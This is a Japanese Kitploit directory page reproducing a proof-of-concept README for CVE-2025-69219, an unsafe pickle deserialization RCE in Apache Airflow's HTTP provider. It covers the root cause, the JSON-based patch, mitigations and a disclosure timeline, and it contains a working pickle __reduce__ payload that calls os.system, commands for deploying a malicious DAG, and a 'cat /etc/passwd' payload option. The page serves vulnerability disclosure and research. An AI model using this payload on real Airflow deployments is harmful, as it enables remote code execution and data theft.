Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-69219 | Kitploit
ツール/GitHubGitHub/sak110/cve-2025-69219
脆弱性分析エクスプロイト論文と研究学習と教育ペイロード開発バイナリエクスプロイト
GitHubsak110/cve-2025-69219

CVE-2025-69219

リポジトリを見る
735ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-69219 — Apache Airflow Providers HTTP における安全でない Pickle 逆シリアル化による RCE

深刻度: 高 (CVSS 3.1: 8.8)
ベクトル: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — 動的に管理されるコードリソースの不適切な制御
影響を受けるバージョン: apache-airflow-providers-http >= 5.1.0, < 6.0.0
修正バージョン: apache-airflow-providers-http == 6.0.0
パッチ: apache/airflow#61662 · commit 97839f7


概要

Apache Airflow の HTTP プロバイダーは、遅延タスク用に HTTP トリガーの応答をシリアル化・逆シリアル化するために Python の pickle モジュールを使用していました。HttpOperator.execute_complete() 内の脆弱なシンクは以下のようなコードでした:

root@kitploit:~
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))

event ディクショナリは Airflow データベース から読み込まれるため、DB への書き込みアクセス権を持つ任意の主体が悪意のある pickle ペイロードを仕込むことができます。Triggerer ワーカー が遅延タスクを処理する際、そのペイロードを盲目的に逆シリアル化し、Triggerer プロセスの権限で任意の OS コマンドを実行します — これは DAG Author と同等の権限です。


根本原因

信頼できないデータに対する pickle.loads() は、本質的に安全でない操作です。Pickle の __reduce__ プロトコルは、任意の Python 呼び出し可能オブジェクトをシリアル化されたブロブに埋め込み、サンドボックスなしで逆シリアル化中に呼び出すことを可能にします。

Airflow Triggerer は完了時に HTTP 応答をシリアル化し、DB に保存します:

root@kitploit:~
# triggers/http.py (pre-patch)
yield TriggerEvent({
    "status": "success",
    "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})

DB レベルでの攻撃者は、この値を細工した pickle ブロブに置き換えます。例:

root@kitploit:~
class RCEPayload:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()

Triggerer はその後 execute_complete → pickle.loads() → RCE を実行します。


修正 (6.0.0)

このパッチは pickle を完全に排除し、安全で明示的な JSON シリアライザーに置き換えます:

root@kitploit:~
# triggers/http.py (post-patch)
yield TriggerEvent({
    "status": "success",
    "response": HttpResponseSerializer.serialize(response),  # JSON dict
})
root@kitploit:~
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
    raise TypeError("Response data must be a dict, got str")

新しいデシリアライザーは、既知のフィールド (status_code、headers、content など) からのみ requests.Response オブジェクトを再構築するため、任意のコード実行は不可能です。


PoC

要件

root@kitploit:~
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"

モード 1 — ローカルシミュレーション (Airflow 不要)

脆弱な pickle.loads() 呼び出しをプロセス内で再現します:

root@kitploit:~
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"

出力例:

root@kitploit:~
  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
  Unsafe Pickle Deserialization → RCE via HttpOperator
  -------------------------------------------------------

[*] Command       : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...

uid=1000(user) gid=1000(user) groups=1000(user)

[+] os.system returned: 0  (0 = success)

モード 2 — 完全な DAG デプロイ (providers-http < 6.0.0 で実行中の Airflow インスタンスが必要)

root@kitploit:~
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"

# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/

# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc

タスクログでコマンド出力を確認します。

生のペイロードを出力

root@kitploit:~
python poc.py --show-payload --cmd "cat /etc/passwd"

影響

要素詳細
誰が悪用できるかAirflow DB への直接の書き込みアクセス権を持つ任意のユーザー
実行コンテキストTriggerer ワーカープロセス (DAG Author と同じ権限)

対策

  1. apache-airflow-providers-http を 6.0.0 以降にアップグレードします。
  2. DB アクセスを制限します — メタデータ DB への書き込みアクセスは、Airflow スケジューラー/ウェブサーバーのサービスアカウントのみに許可します。
  3. アップグレード前に、すべての遅延 HTTP タスク (deferrable=True) が完了またはクリアされていることを確認します。アップグレード後、pickle でシリアル化された進行中のタスクは TypeError を発生させるためです (プロバイダーのチェンジログに記載されている破壊的変更)。
root@kitploit:~
pip install "apache-airflow-providers-http>=6.0.0"

タイムライン

日付イベント
2026-03-09Apache Software Foundation により CVE 公開
2026-03-09修正がマージ (PR #61662、commit 97839f7)
2026-03-09oss-security メーリングリストで開示

参照

  • NVD の CVE-2025-69219
  • GitHub Advisory GHSA-9r5j-7r2x-rv4g
  • パッチ PR #61662
  • パッチ commit 97839f7
  • oss-security での開示

クレジット

  • skypher — 発見者
  • Shauryae1337 — 発見者
  • ahmetartuc — 発見者 & オリジナル PoC 作成者 (poc-cve-2025-69219)

このリポジトリの PoC は @ahmetartuc によるオリジナルの成果に基づいています。


免責事項

この概念実証は、教育およびセキュリティ研究目的のみで公開されています。所有しているシステム、またはテストする明示的な書面による許可を得たシステムに対してのみテストしてください。著者は誤用に対して一切の責任を負いません。

ツールをダウンロード
可能性
低 — 適切に構成されたデプロイでは、直接の DB アクセスは非標準
被害範囲Triggerer ノード上での完全なホスト RCE: データ窃取、横展開、永続化